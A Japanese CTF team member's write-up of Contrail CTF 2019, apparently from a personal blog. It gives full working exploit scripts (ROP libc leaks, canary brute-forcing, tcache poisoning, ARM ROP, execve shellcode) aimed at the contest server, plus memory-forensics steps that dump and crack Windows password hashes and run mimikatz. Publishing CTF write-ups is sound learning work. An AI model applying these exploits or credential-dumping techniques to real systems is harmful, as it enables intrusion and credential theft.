CTFするぞ

CTF以外のことも書くよ

Contrail CTF 2019のWriteup

Contrail CTFが12月30日から1月4日まで開催され、zer0ptsで参加しました。 全体で4786点を獲得して1位でした。

f:id:ptr-yudai:20200104000059p:plain

解いた問題のwriteupを簡単に書きます。

他のメンバーのwriteup:

st98.github.io

[pwn 100pts] welcomechain

64-bitのELFとlibc-2.27が渡されます。

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   70 Symbols     No       0               4       welcomechain

fgetsによる単純なスタックオーバーフローがあるので、libc leakしてシェルを取るだけです。

from ptrlib import *

libc = ELF("./libc.so.6")
elf = ELF("./welcomechain")
#sock = Process("./welcomechain")
sock = Socket("114.177.250.4", 2226)
rop_pop_rdi = 0x00400853

# libc leak
payload = b'A' * 0x28
payload += p64(rop_pop_rdi)
payload += p64(elf.got("puts"))
payload += p64(elf.plt("puts"))
payload += p64(elf.symbol("main"))
sock.sendlineafter(": ", payload)
sock.recvline()
libc_base = u64(sock.recvline()) - libc.symbol("puts")
logger.info("libc = " + hex(libc_base))

# shell
payload = b'A' * 0x28
payload += p64(rop_pop_rdi + 1)
payload += p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(libc_base + libc.symbol("system"))
sock.sendlineafter(": ", payload)

sock.interactive()

やるだけ。

$ python solve.py 
[+] __init__: Successfully connected to 114.177.250.4:2226
[+] <module>: libc = 0x7f74c663f000
[ptrlib]$ Your input is : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
cat flag
[ptrlib]$ ctrctf{W31c0m3!_c0ntr4i1_ctf_r3t2l1bc!}

[pwn 304pts] instant_httpserver

64-bitのELFとlibc-2.27が渡されます。

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols      Yes     0               3       instant_httpserver

簡易的なHTTPサーバーで、リクエスト用のバッファに単純なスタックオーバーフローがあります。 接続ごとにforkしており、BOFがnull終端でなくて良いのでcanaryをリークできます。 proc baseは近くのcall writeに飛ばして出力を見ることでリークしました。

from ptrlib import *
import threading

logger.level = 0
TIMEOUT = 0.1
#HOST = "localhost"
HOST = "114.177.250.4"

# leak canary
#"""
payload = b'GET '
payload += b'A' * (0x208 - len(payload))
canary = b'\x00'
for i in range(7):
    for c in range(0x100):
        sock = Socket(HOST, 4445)
        sock.send(payload + canary + bytes([c]))
        sock.recvuntil("Length is ")
        w = b''
        for i in range(5):
            x = sock.recv(timeout=TIMEOUT)
            if x is None: break
            w += x
        if b'instant' not in w:
            sock.close()
            continue
        else:
            canary += bytes([c])
            print(canary)
            sock.close()
            break
    else:
        print("Something is wrong")
        exit(0)
"""
canary = b'\x00\x89h\xfd\xf7q\xd3K'
#"""

# leak proc
#"""
payload = b'GET '
payload += b'A' * (0x208 - len(payload))
payload += canary
payload += b'X' * 8
proc_base = b'\xe5'
for i in range(7):
    for c in range(0x100):
        sock = Socket(HOST, 4445)
        sock.send(payload + proc_base + bytes([c]))
        sock.recvuntil("Length is ")
        w = b''
        for i in range(5):
            x = sock.recv(timeout=TIMEOUT)
            if x is None: break
            w += x
        if b'instant' not in w:
            sock.close()
            continue
        else:
            proc_base += bytes([c])
            print(proc_base)
            sock.close()
            break
    else:
        print("Something is wrong")
        exit(0)
proc_base = u64(proc_base) - 0xde5
print(hex(u64(proc_base)))
"""
proc_base = u64(b'\xe5\xcd\xbf\xbc\nV\x00\x00') - 0xde5
print(hex(proc_base))
#"""

# libc leak
libc = ELF("libc.so.6")
elf = ELF("./instant_httpserver")
rop_pop_rdi = 0x00000e93
rop_pop_rsi_r15 = 0x00000e91
payload = b'GET '
payload += b'A' * (0x208 - len(payload))
payload += canary
payload += b'X' * 8
payload += p64(proc_base + rop_pop_rsi_r15)
payload += p64(proc_base + elf.got("write"))
payload += p64(0xdeadbeef)
payload += p64(proc_base + elf.plt("write"))
sock = Socket(HOST, 4445)
sock.send(payload)
sock.recvuntil("is 520")
libc_base = u64(sock.recv(8)) - libc.symbol("write")
print(hex(libc_base))
sock.close()

# get the shell!
libc = ELF("libc.so.6")
elf = ELF("./instant_httpserver")
payload = b'GET '
payload += b'A' * (0x208 - len(payload))
payload += canary
payload += b'X' * 8
payload += p64(proc_base + rop_pop_rsi_r15)
payload += p64(1)
payload += p64(0xdeadbeef)
payload += p64(libc_base + libc.symbol('dup2'))
payload += p64(proc_base + rop_pop_rsi_r15)
payload += p64(0)
payload += p64(0xdeadbeef)
payload += p64(libc_base + libc.symbol('dup2'))
payload += p64(proc_base + rop_pop_rdi + 1)
payload += p64(proc_base + rop_pop_rdi)
payload += p64(libc_base + next(libc.find('/bin/sh')))
payload += p64(libc_base + libc.symbol('system'))
sock = Socket(HOST, 4445)
sock.send(payload)

sock.interactive()

やるだけ。

$ python solve.py 
0x560abcbfc000
0x7f7ac2218000
[ptrlib]$ HTTP/1.1 200 OK
Server: instant_httpserver

<html>Your Req Length is 520
[ptrlib]$ cat flag
ctrctf{h4ppyh4ppyr4nd0m1z3}
[ptrlib]$

[pwn 356pts] babyheap

64-bitのELFとlibc-2.27が渡されます。

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   78 Symbols     Yes      0               4       babyheap

単純なUAFとOOBがあり、double freeもできます。しかし、malloc+writeにあたる操作を4回すると即座にプログラムが終了してしまいます。 そのため4回のaddでlibc leakとシェル取得をする必要があります。 libc leakのためにaddは使いたくないので、stdinを使います。 scanfでデータを読み込むのでGOTのアドレスが書き込めないのですが、stdinのバッファには残るので、それをOOBで読みます。 あとは残りの3回で普通にtcache poisoningしました。

from ptrlib import *

def add(size, data):
    sock.sendlineafter(">", "1")
    sock.sendlineafter(":", str(size))
    sock.sendlineafter(":", data)
    return
def show(index):
    sock.sendlineafter(">", "2")
    sock.sendlineafter(":", str(index))
    return sock.recvuntil("1. write")[:-8]
def delete(index):
    sock.sendlineafter(">", "3")
    sock.sendlineafter(":", str(index))
    return

libc = ELF("./libc.so.6")
#sock = Process("./babyheap")
sock = Socket("114.177.250.4", 2223)
libc_main_arena = 0x3ebc40
target = 0x619f60
one_gadget = 0xe569f

# libc leak
payload = b'2 516' # 0x204 = 516
payload += b' ' * (0x10 - len(payload))
payload += p64(0x602031)
sock.sendlineafter(">", payload)
sock.recvuntil(":")
libc_base = (u64(sock.recv(5)) - (libc.symbol('puts') >> 8)) << 8
logger.info("libc = " + hex(libc_base))
sock.recvuntil(">")

# tcache poisoning
delete(0)
delete(0)
add(0x18, p64(libc_base + target))
add(0x18, "dummy")
add(0x18, p64(libc_base + one_gadget))

sock.interactive()

これ書きながら思ったけどscanf使って直接/bin/sh起動した方が楽そう。想定解が気になるところ。

$ python solve.py 
[+] __init__: Successfully connected to 114.177.250.4:2223
[+] <module>: libc = 0x7f541d108000
[ptrlib]$ cat flag
ctrctf{y0u_und3r5t00d_ab0ut_h34p}
[ptrlib]$

[pwn 100pts] pokebattle

64-bitのELFとlibc-2.27が渡されます。

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   85 Symbols     Yes      0               6       pokebattle

関数ポインタを持つ構造体にBOFとoverreadがあるので適当にlibc leakして/bin/shを起動するだけです。

from ptrlib import *

def fight():
    sock.sendlineafter("> ", "1")
    return
def catch(index, name):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(":", str(index))
    sock.sendafter(" : \n", name)
    return
def list(index):
    sock.sendlineafter("> ", "4")
    sock.recvline()
    dataList = []
    for i in range(10):
        w = sock.recvline()
        name, hp = w.split(b' . ')[1].split(b' /HP[')
        hp = int(hp[:-1])
        dataList.append((name, hp))
    sock.sendlineafter(":", str(index))
    return dataList

libc = ELF("./libc.so.6")
elf = ELF("./pokebattle")
#sock = Process("./pokebattle")
sock = Socket("114.177.250.4", 2225)
libc_ofs = 0x1b3787

# leak libc
catch(0, "A" * 0x38)
libc_base = u64(list(0)[0][0][0x38:]) - libc_ofs
logger.info("libc = " + hex(libc_base))

# get the shell!
payload = b'/bin/sh'
payload += b'\x00' * (0x28 - len(payload))
payload += p64(libc_base + libc.symbol('system'))
catch(0, payload)
fight()

sock.interactive()

やるだけ。

$ python solve.py 
[+] __init__: Successfully connected to 114.177.250.4:2225
[+] <module>: libc = 0x7f2cf4cab000
[ptrlib]$ cat flag
ctrctf{m394_1nd3x_m0nst3r}
[ptrlib]$

[rev 100pts] DownloaderLog

pcapファイルが渡されます。 HTTPでELFを落としているのでIDAで解析すると、特定の機械語領域を0x19でXORしています。 unpackスクリプトを書いて展開後のELFを保存します。

with open("k7zg2B", "rb") as f:
    binary = f.read()

for i in range(389):
    binary = binary[:0x10d5+i] + bytes([binary[0x10d5+i] ^ 0x19]) + binary[0x10d6+i:]

with open("unpacked", "wb") as f:
    f.write(binary)

これをIDAで解析すると普通にフラグを出力している処理がありました。

[forensics 500pts] once_again

Win7SP1x64のメモリダンプが渡されます。 問題文にはCan you find registry?としか書いておらず何をすれば良いのか分かりません。 まぁレジストリだし問題タイトルにonceとか入ってるし自動起動のRunOnceかなーとなんとなくおもってprintkeyしたら、フラグがrot13されて書かれていました。

$ vol.py -f onceagain.mem --profile=Win7SP1x64 printkey -K "Microsoft\Windows\CurrentVersion\RunOnce"
Volatility Foundation Volatility Framework 2.6.1
Legend: (S) = Stable   (V) = Volatile

----------------------------
Registry: \SystemRoot\System32\Config\SOFTWARE
Key name: RunOnce (S)
Last updated: 2019-12-10 14:09:45 UTC+0000

Subkeys:

Values:
REG_SZ        flag            : (S) pgspgs{i0yng1y1gl_1f_hf3shy_zrz0elnanylf1f}

rot13を戻すとフラグっぽくなるのですが、よく見るとprefixが間違っているので直して送ったら受理されました。

[forensics 304pts] alice's password

Win7SP1x64のメモリダンプが渡されます。 問題文にzip password is md5(alice's password)とあったのでとりあえずユーザーaliceのパスワードを調べます。 普通にhivelist+hashdumpで取ったハッシュをcrackstationに投げたらパスワードが平文で降ってきました。 それのmd5を取って後から配布されたzipファイルを展開するとフラグが出てきます。

[forensics 464pts] cutecats

alice's passwordと同じメモリダンプです。 問題文にI'm browsing cute catz...とあったのでieの履歴や自動補完で保存されたパスワードなどを調べましたが何も出ませんでした。 なんやかんやを試してるうちに突然頭の中でcatz-->mimikatzという謎変換がされてmimikatzを使ってみることにしました。

$ vol.py --plugins=./plugins -f memdump.mem --profile=Win7SP1x64 mimikatz
Volatility Foundation Volatility Framework 2.6.1
Module   User             Domain           Password                                
-------- ---------------- ---------------- ----------------------------------------
wdigest  Aqua             WIN-O1AE35RFM94  ctrctf{Y0u_c4n_us3_m1m1katz}            
wdigest  WIN-O1AE35RFM94$ WORKGROUP

メモリ・ディスクダンプ系は個人的に好きなのでいっぱいあって楽しいです。

[pwn 304pts] RaspiWorld

32-bitでstatic linkのARM ELFが渡されます。

$ checksec -f 0.elf
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   3588 Symbols     Yes    0               39      0.elf

ARM何も分からん。とりあえずghidraで読むとgetsでBOFがあります。 getsでシェルコード書き込んでmprotectで実行可能にしようと思ったのですが、私のカニ味噌以下の脳味噌ではgetsが終わった後に別のgadgetに移れませんでした。 ということで使えそうなROP gadgetをたくさん探してつなぎ合わせて誤魔化します。 今回使ったROP gadgetは下のやつらです。

rop_pop_r1 = 0x0006d108
rop_pop_r7 = 0x0001930c
rop_pop_r3 = 0x00010160
rop_mov_r0_r1_pop_r4_r5_r6 = 0x000374c8
rop_mov_r1_sp_blx_r3 = 0x00046c98
rop_mov_r2_r3_blx_r7 = 0x0002b254
rop_swi_0 = 0x00028228

やりたいことはexecve("/bin/sh", NULL, NULL);ですが、getsが動かせないので/bin/shをスタックに置きます。 ARMには結構spをmovするgadgetがあるので、mov r1, spmov r0, r1の2つのgadgetでr0にspを入れます。 r1にspが入る時点でspはblx r3される前なので、pop r4; pop r5; pop r6;で取り出される部分に当たります。 したがって、ROP chainのちょうどこの部分に/bin/shを入れると上手いことpopされて何事も無かったかのように次のROP gadgetが実行されます。

from ptrlib import *

elf = ELF("./0.elf")
#sock = Process(["qemu-arm", "-g", "1234", "./0.elf"])
#sock = Process("./0.elf")
sock = Socket("114.177.250.4", 7777)

rop_pop_r1 = 0x0006d108
rop_pop_r7 = 0x0001930c
rop_pop_r3 = 0x00010160
rop_mov_r0_r1_pop_r4_r5_r6 = 0x000374c8
rop_mov_r1_sp_blx_r3 = 0x00046c98
rop_mov_r2_r3_blx_r7 = 0x0002b254
rop_swi_0 = 0x00028228

addr_table = elf.section('.bss') + 0x800

payload = b'A' * 0x44
# r0 = sp + delta
payload += p32(rop_pop_r3)
payload += p32(rop_mov_r0_r1_pop_r4_r5_r6)
payload += p32(rop_mov_r1_sp_blx_r3)
payload += b'/bin/sh\x00'
payload += p32(0xdeadbeef)
# r2 = 0, r7 = 11
payload += p32(rop_pop_r3)
payload += p32(0)
payload += p32(rop_pop_r7)
payload += p32(rop_pop_r7)
payload += p32(rop_mov_r2_r3_blx_r7)
payload += p32(11)
# r1 = 0
payload += p32(rop_pop_r1)
payload += p32(0)
payload += p32(rop_swi_0)

sock.recvline()
sock.sendline(payload)
sock.recvline()

sock.interactive()

黒魔術してしまいましたが、勉強になりました。

[rev 500pts] ScrambleMeBack

go製のバイナリが渡されます。 ただでさえgoは書かないのにgo製のバイナリとか渡されても意味分からんのですが、筋肉で解析しました。 IDAで見るとScrambleMeと同様に何かしら処理をした結果がg0l4n6_15_g00dかを調べているのですが、それを出力する代わりにフラグファイルを読み込んで出力するようになっていました。 したがって鍵を解析する必要があります。 IDAで読みつつgdbで止めて、各変数や関数の意味を調べたところ、次のような処理をしていることが分かりました。

def scramble(key):
    w = 0
    j = 1
    output = b''
    for i in range(2, len(key)):
        j = (key[i] + j * (j + i)) % 0x60 + j
        if i > 8 and i < len(key) - 3:
            v13 = 0x60 * (j // 0x60)
            output += bytes([table[j - v13]])
            w += 1
    return output

このoutputがg0l4n6_15_g00dになれば良いです。tableはバイナリ中に書かれています。 いい感じに鍵を探索するスクリプトを書いて、結果をサーバーに送ればフラグが降ってきます。

import struct

with open("ScrambleMeBack", "rb") as f:
    table = []
    f.seek(0xdf5e0)
    for i in range(0x60):
        table.append(struct.unpack('<I', f.read(4))[0])

def scramble(key):
    w = 0
    j = 1
    output = b''
    for i in range(2, len(key)):
        j = (key[i] + j * (j + i)) % 0x60 + j
        if i > 8 and i < len(key) - 3:
            v13 = 0x60 * (j // 0x60)
            output += bytes([table[j - v13]])
            w += 1
    return output

def search(key, i=2, j=1, w=0, output=b''):
    if w == len(answer):
        yield key, output
    else:
        if i > 8 and i < len(key) - 3:
            for x in range(0x30, 0x7f):
                try_j = (x + j * (j + i)) % 0x60 + j
                v13 = 0x60 * (try_j // 0x60)
                if len(table) <= try_j - v13:
                    continue
                elif table[try_j - v13] == answer[w]:
                    next_key = key[:i] + bytes([x]) + key[i+1:]
                    for candidate in search(next_key, i+1, try_j, w+1, output+bytes([table[try_j-v13]])):
                        yield candidate
        else:
            next_j = (key[i] + j * (j + i)) % 0x60 + j
            for candidate in search(key, i+1, next_j, w, output):
                yield candidate

answer = b'g0l4n6_15_g00d'
key = b'0' * (8 + 4 + len(answer))

for candidate in search(key):
    print(candidate)
    print(scramble(candidate[0]))
    exit()

勉強になりますね。 goバイナリの解析手法を知らないのですが、どうやって解くのが想定だったのでしょうか。

[rev 496pts] MyInstructions

C++製で最適化されたバイナリが渡されます。 VMの構造は割と単純なので、目力で読んで逆アセンブラを書きます。

import struct

def disasm(code):
    def n2r(n): return 'reg{}'.format(n)
    def u32(n): return hex(struct.unpack('<I', n)[0])
    output = []
    pc = 0
    sf, zf = 0, 0
    while len(code) > pc:
        ope = code[pc]
        if ope == 0x10: # mov regX, regY
            output.append('0x{:03X}    mov {}, {}'.format(pc, n2r(code[pc+1]), n2r(code[pc+2])))
            pc += 3
        elif ope == 0x11: # mov regX, IMM
            output.append('0x{:03X}    mov {}, {}'.format(pc, n2r(code[pc+1]), u32(code[pc+2:pc+6])))
            pc += 6
        elif ope == 0x20: # and regX, regY
            output.append('0x{:03X}    and {}, {}'.format(pc, n2r(code[pc+1]), n2r(code[pc+2])))
            pc += 3
        elif ope == 0x21: # and regX, IMM
            output.append('0x{:03X}    and {}, {}'.format(pc, n2r(code[pc+1]), u32(code[pc+2:pc+6])))
            pc += 6
        elif ope == 0x22: # or regX, regY
            output.append('0x{:03X}    or {}, {}'.format(pc, n2r(code[pc+1]), n2r(code[pc+2])))
            pc += 3
        elif ope == 0x23: # or regX, IMM
            output.append('0x{:03X}    or {}, {}'.format(pc, n2r(code[pc+1]), u32(code[pc+2:pc+6])))
            pc += 6
        elif ope == 0x24: # xor regX, regY
            output.append('0x{:03X}    xor {}, {}'.format(pc, n2r(code[pc+1]), n2r(code[pc+2])))
            pc += 3
        elif ope == 0x25: # xor regX, IMM
            output.append('0x{:03X}    xor {}, {}'.format(pc, n2r(code[pc+1]), u32(code[pc+2:pc+6])))
            pc += 6
        elif ope == 0x30: # not regX
            output.append('0x{:03X}    not {}'.format(pc, n2r(code[pc+1])))
            pc += 2
        elif ope == 0x50: # add regX, regY
            output.append('0x{:03X}    add {}, {}'.format(pc, n2r(code[pc+1]), n2r(code[pc+2])))
            pc += 3
        elif ope == 0x51: # add regX, IMM
            output.append('0x{:03X}    add {}, {}'.format(pc, n2r(code[pc+1]), u32(code[pc+2:pc+6])))
            pc += 6
        elif ope == 0x52: # sub regX, regY
            output.append('0x{:03X}    sub {}, {}'.format(pc, n2r(code[pc+1]), n2r(code[pc+2])))
            pc += 3
        elif ope == 0x53: # sub regX, IMM
            output.append('0x{:03X}    sub {}, {}'.format(pc, n2r(code[pc+1]), u32(code[pc+2:pc+6])))
            pc += 6
        elif ope == 0x60: # cmp regX, regY
            output.append('0x{:03X}    cmp {}, {}'.format(pc, n2r(code[pc+1]), n2r(code[pc+2])))
            pc += 3
        elif ope == 0x61: # cmp regX, IMM
            output.append('0x{:03X}    cmp {}, {}'.format(pc, n2r(code[pc+1]), u32(code[pc+2:pc+6])))
            pc += 6
        elif ope == 0x40: # jmp regX
            output.append('0x{:03X}    jmp {}'.format(pc, n2r(code[pc+1])))
            pc += 2
        elif ope == 0x41: # jmp IMM
            output.append('0x{:03X}    jmp {}'.format(pc, u32(code[pc+1:pc+5])))
            pc += 5
        elif ope == 0x42: # jge regX
            output.append('0x{:03X}    jge {}'.format(pc, n2r(code[pc+1])))
            pc += 2
        elif ope == 0x43: # jge IMM
            output.append('0x{:03X}    jge {}'.format(pc, u32(code[pc+1:pc+5])))
            pc += 5
        elif ope == 0x44: # js regX
            output.append('0x{:03X}    js {}'.format(pc, n2r(code[pc+1])))
            pc += 2
        elif ope == 0x45: # js IMM
            output.append('0x{:03X}    js {}'.format(pc, u32(code[pc+1:pc+5])))
            pc += 5
        elif ope == 0x46: # jz regX
            output.append('0x{:03X}    jz {}'.format(pc, n2r(code[pc+1])))
            pc += 2
        elif ope == 0x47: # jz IMM
            output.append('0x{:03X}    jz {}'.format(pc, u32(code[pc+1:pc+5])))
            pc += 5
        elif ope == 0x48: # jnz regX
            output.append('0x{:03X}    jnz {}'.format(pc, n2r(code[pc+1])))
            pc += 2
        elif ope == 0x49: # jnz IMM
            output.append('0x{:03X}    jnz {}'.format(pc, u32(code[pc+1:pc+5])))
            pc += 5
        elif ope == 0xff: # hlt
            output.append('0x{:03X}    assert reg0 == 0'.format(pc))
            pc += 1
        else:
            print("EOA")
            break
    return output

if __name__ == '__main__':
    with open("my_instructions", "rb") as f:
        f.seek(0x3c00)
        code = f.read(0x160)
    print('\n'.join(disasm(code)))

機械語はハードコーディングされてるので逆アセンブラに投げます。

0x000    mov reg8, 0x646e3468
0x006    xor reg0, reg8
0x009    mov reg9, 0x64346d5f
0x00F    xor reg1, reg9
0x012    xor reg9, reg9
0x015    mov reg10, 0xde8ca0cc
0x01B    not reg10
0x01D    xor reg2, reg10
0x020    mov reg11, 0x575f4405
0x026    xor reg11, reg8
0x029    xor reg3, reg11
0x02C    mov reg8, 0x746e6f63
0x032    mov reg9, reg4
0x035    and reg4, reg8
0x038    or reg9, reg8
0x03B    xor reg4, 0x544c4643
0x041    xor reg9, 0x7f6f7f7f
0x047    or reg4, reg9
0x04A    mov reg8, 0x6c696172
0x050    mov reg9, reg5
0x053    not reg5
0x055    and reg5, reg8
0x058    xor reg9, 0x21667463
0x05E    or reg9, reg8
0x061    xor reg5, 0x8494010
0x067    xor reg9, 0x6e7b6577
0x06D    or reg5, reg9
0x070    cmp reg5, 0x0
0x076    jz 0x82
0x07B    mov reg0, 0x1
0x081    assert reg0 == 0
0x082    mov reg8, 0x3fb1d
0x088    mov reg9, 0x3d6
0x08E    sub reg6, reg8
0x091    sub reg9, 0x1
0x097    cmp reg9, 0x0
0x09D    jnz 0x8e
0x0A2    xor reg6, 0x24232221
0x0A8    mov reg8, 0x33766f31
0x0AE    mov reg9, reg8
0x0B1    xor reg10, reg10
0x0B4    xor reg7, reg8
0x0B7    add reg8, reg9
0x0BA    cmp reg8, reg10
0x0BD    jge 0xb4
0x0C2    mov reg8, 0x64
0x0C8    mov reg9, 0x0
0x0CE    mov reg10, 0x1
0x0D4    mov reg11, 0x3
0x0DA    mov reg12, 0x5
0x0E0    mov reg13, 0x7
0x0E6    sub reg11, reg10
0x0E9    sub reg12, reg10
0x0EC    sub reg13, reg10
0x0EF    cmp reg11, reg9
0x0F2    jnz 0x103
0x0F7    mov reg11, 0x3
0x0FD    add reg7, 0x123456
0x103    cmp reg12, reg9
0x106    jnz 0x117
0x10B    mov reg12, 0x5
0x111    sub reg7, 0x112233
0x117    cmp reg13, reg9
0x11A    jnz 0x12b
0x11F    mov reg13, 0x7
0x125    sub reg7, 0x654321
0x12B    sub reg8, reg10
0x12E    cmp reg8, reg9
0x131    jge 0xe6
0x136    xor reg7, 0x7818f5b8
0x13C    xor reg0, reg1
0x13F    xor reg0, reg2
0x142    xor reg0, reg3
0x145    xor reg0, reg4
0x148    xor reg0, reg5
0x14B    xor reg0, reg6
0x14E    xor reg0, reg7
0x151    assert reg0 == 0
0x152    xor reg51, 0x42007332

入力したフラグがそのままレジスタ(reg0〜reg7)の初期状態になります。 reg0からreg6は単純なxor等を使っているのでそのままz3の式に落とせます。 reg7はループを使ってい生成しているのでそのままz3の式には変換しにくいです。 よく読むとreg7はループ回数に影響しないので、pythonでエミュレートして操作前後での差分を取ります。

reg7 = 0
orig_reg7 = reg7
reg8 = 0x33766f31
reg9 = reg8
reg10 = 0
while reg8 >> 31 == 0:
    reg7 ^= reg8
    reg8 = (reg8 + reg9) & 0xffffffff
print(reg7 ^ orig_reg7)
reg8 = 0x64
reg9 = 0
reg10 = 1
reg11 = 3
reg12 = 5
reg13 = 7
orig_reg7 = reg7
while reg8 >= reg9:
    reg11 -= 1
    reg12 -= 1
    reg13 -= 1
    if reg11 == reg9:
        reg11 = 3
        reg7 = (reg7 + 0x123456) & 0xffffffff
    if reg12 == reg9:
        reg12 = 5
        reg7 = (reg7 + (0xffffffff ^ 0x112233) + 1) & 0xffffffff
    if reg13 == reg9:
        reg13 = 7
        reg7 = (reg7 + (0xffffffff ^ 0x654321) + 1) & 0xffffffff
    reg8 -= reg10
print(reg7 - orig_reg7)
if reg7 ^ 0x7818f5b8 == 0:
    # OK
    pass

あとはz3にぶち込むだけ。

from z3 import *

flag = [BitVec('flag{:02X}'.format(i), 32) for i in range(8)]
s = Solver()

s.add(
    And(
        flag[0] ^ 0x646e3468 == 0, # --> reg0
        flag[1] ^ 0x64346d5f == 0, # --> reg1
        flag[2] ^ (0xffffffff ^ 0xde8ca0cc) == 0, # --> reg2
        flag[3] ^ (0x575f4405 ^ 0x646e3468) == 0, # --> reg3
        ((flag[4] & 0x746e6f63) ^ 0x544c4643) | ((flag[4] | 0x746e6f63) ^ 0x7f6f7f7f) == 0, # --> reg4
        (((flag[5] ^ 0xffffffff) & 0x6c696172) ^ 0x08494010) | (((flag[5] ^ 0x21667463) | 0x6c696172) ^ 0x6e7b6577) == 0, # --> reg5
        (flag[6] - 0x3fb1d * 0x3d6) ^ 0x24232221 == 0, # --> reg6
        ((flag[7] ^ 1436201299) - 75995316) ^ 0x7818f5b8 == 0
    )
)

while True:
    r = s.check()
    if r == sat:
        m = s.model()
        answer = [b'????' for i in range(8)]
        for d in m.decls():
            answer[int(d.name()[4:], 16)] = bytes.fromhex(hex(m[d].as_long())[2:])[::-1]
        print(b''.join(answer))
        s.add(Not(And([flag[int(d.name()[4:], 16)] == m[d] for d in m.decls()])))
    else:
        print(r)
        break

ちゃんと解が一意に定まりました。よくできたVM問という感じで面白かったです。

$ python solve.py 
b'h4nd_m4d3_s!mp13_VM_f14g_ch3??:)'
unsat

[pwn 100pts] EasyShellcode

x64のシェルコード問です。 20バイトだけシェルコードを読んだあとレジスタを0にし、raxを使ってジャンプします。 20バイトもあれば大して工夫せずにシェルが起動できるので起動します。

_start:
  add edx, 59
  mov rsi, rax
  xor eax, eax
  syscall
  mov rdi, rsi
  xor esi, esi
  xor edx, edx
  syscall
  db 'E', 'O', 'F'

投げる。

from ptrlib import *

with open("shellcode.o", "rb") as f:
    f.seek(0x180)
    sc = f.read()
    sc = sc[:sc.index(b'EOF')]
    assert len(sc) < 0x14

#sock = Process("./problem")
sock = Socket("114.177.250.4", 2210)

print("len = {}".format(len(sc)))
payload = b'/bin/sh'
payload += b'\x00' * (59 - len(payload))
sock.sendafter(": ", sc)
sock.send(payload)

sock.interactive()

終わり。

$ python solve.py 
[+] __init__: Successfully connected to 114.177.250.4:2210
len = 19
[ptrlib]$ cat flag
ctrctf{Tw0_3t4g3_s311c0d3}
[ptrlib]$

感想

全体的に良問が多くて新年早々楽しめました。 CTF初開催&4日間の運営ということで大変だったと思います。 運営の皆さん、ありがとうございました。